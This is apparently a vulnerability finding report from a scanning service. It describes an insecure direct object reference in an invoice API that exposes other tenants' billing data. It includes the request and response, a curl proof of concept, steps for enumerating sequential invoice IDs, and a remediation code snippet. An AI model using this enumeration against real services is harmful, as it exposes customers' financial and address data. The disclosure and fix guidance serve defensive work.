IDOR in invoice download lets any auth user read other tenants' invoices
GET /api/v1/invoices/:invoice_id
description
The invoice retrieval endpoint accepts an invoice ID in the URL path but does not verify that the requesting user's tenant owns that invoice. Any authenticated user can iterate invoice IDs (sequential integers prefixed `inv_`) and retrieve invoice metadata (amount, line items, billing address, last-4 of payment method) for every customer in the system. We reproduced the bypass against three independent tenant pairs.
evidence
Request
GET /api/v1/invoices/inv_4421 HTTP/1.1 Host: acme.dev Authorization: Bearer <session-token-issued-to-tenant-a>
Response
HTTP/1.1 200 OK
Content-Type: application/json
{
"invoice_id": "inv_4421",
"tenant_id": "tenant_b",
"amount": "$24,113.00",
"line_items": [{"sku":"plan_enterprise","qty":1,"price":"$24,113.00"}],
"billing_address": {"line1":"50 Howard St","city":"San Francisco","...":"..."},
"payment_method": {"brand":"visa","last4":"4242"}
}
PoC
curl -s https://acme.dev/api/v1/invoices/inv_4421 -H 'Authorization: Bearer <tenant-a-token>'
Session token belongs to tenant_a. Invoice inv_4421 belongs to tenant_b. Authorization was not checked.
reproduction steps
- Authenticate as any user in tenant_a.
- Issue GET /api/v1/invoices/inv_4421 (an invoice owned by tenant_b) with tenant_a's bearer token.
- Observe a 200 response containing tenant_b's invoice metadata.
- Iterate the invoice_id field - IDs are sequential and contiguous.
remediation
Authorize on the object, not just the route: load the record, then verify it belongs to the caller's tenant before returning anything. Add a cross-tenant integration test for every object endpoint, and move to unguessable ids (UUIDv7) as defense in depth, never as the check.
python
invoice = db.invoices.get(invoice_id)
if invoice is None or invoice.tenant_id != session.tenant_id:
return Response(status=403)
return invoicerotate the credentials you provided.
we ran the scan with the credentials you supplied. treat them as compromised and rotate now.
couldn't reproduce this finding?
if it does not reproduce from the evidence above, you get back what this finding cost you: its credits for a credit unlock, or a cash refund for a finding bought through our earlier per-finding checkout. see how claims work, or email team@recon.sh with finding ID f2 and scan ID sample.